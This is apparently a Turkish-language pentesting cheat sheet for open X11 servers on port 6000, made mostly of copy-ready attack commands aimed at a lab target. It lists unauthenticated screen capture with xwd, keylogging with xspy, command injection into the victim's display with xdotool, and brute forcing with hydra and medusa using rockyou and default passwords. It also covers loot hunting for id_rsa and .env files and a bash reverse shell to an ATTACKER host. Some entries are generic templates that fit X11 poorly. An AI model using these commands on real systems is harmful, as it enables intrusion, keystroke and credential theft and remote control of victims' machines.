6000 - Pentesting X11
X11 rce
Açık X11 (ACCESS CONTROL disabled) ekran görüntüsü, tuş kaydı ve uzaktan pencere kontrolü verir. Hedef lab IP’si üzerinde komutları 6000 portuna göre uyarla; her başarıyı ayrı kanıtla.
Metodoloji
Section titled “Metodoloji”-
6000+n doğrula.
-
xpyb/xdpyinfo unauth.
-
Screenshot/keylog.
-
xdotool ile komut.
nmap -Pn -sV -p6000-6010 TARGETnmap -Pn -p6000-6010 --script x11-access TARGETxdpyinfo -display TARGET:0nmap -p6000 --script x11-access TARGETxwd -root -display TARGET:0 > screen.xwdconvert screen.xwd screen.pngxspy TARGET:0DISPLAY=TARGET:0 xdotool type 'xterm &'Derin enum
Section titled “Derin enum”X11 için ek keşif ve fingerprint.
nmap -Pn -sV -sC -p6000,11 TARGETnmap -Pn -p6000 --script safe,discovery TARGETtimeout 5 bash -c 'echo | openssl s_client -connect TARGET:6000' 2>/dev/null | headpython3 -c "import socket;s=socket.create_connection(('TARGET',6000));s.settimeout(3);print(s.recv(4096))"Banner / TLS / ALPN notları → X11Kimlik & brute (ek)
Section titled “Kimlik & brute (ek)”hydra -L users.txt -P rockyou.txt -s 6000 PROTOCOL://TARGET -t 4medusa -h TARGET -U users.txt -P rockyou.txt -M PROTOCOL -n 6000nmap -p6000 --script '*-brute' TARGETadmin/admin, root/root, guest/(boş), test/testExploit arama
Section titled “Exploit arama”searchsploit X11msfconsole -q -x 'search X11; exit'nuclei -u https://TARGET:6000 -t cves/ -silent -severity || truenuclei -u http://TARGET:6000 -tags tech -silent || trueManuel protokol
Section titled “Manuel protokol”nc -nv TARGET 6000printf '' | timeout 3 nc -nv TARGET 6000curl -vk --http1.0 http://TARGET:6000/Wireshark/tcpdump ile konuşmayı kaydet; replay denePost-erişim & loot
Section titled “Post-erişim & loot”config, key, session, env, backupfind / -name '*.conf' -o -name '*.env' -o -name 'id_rsa' 2>/dev/null | headss -lntp; ip a; cat /etc/passwd | headbash -i >& /dev/tcp/ATTACKER/443 0>&1mkdir -p loot && tee loot/notes.txtOperasyon checklist
Section titled “Operasyon checklist”[ ] Fingerprint / sürüm[ ] Auth ve anonim erişim[ ] PoC etki gösterildi[ ] Credential/shell paketlendi[ ] Pivot notuZincir
Section titled “Zincir”x11-access → screenshot/keylog → typed commands → shell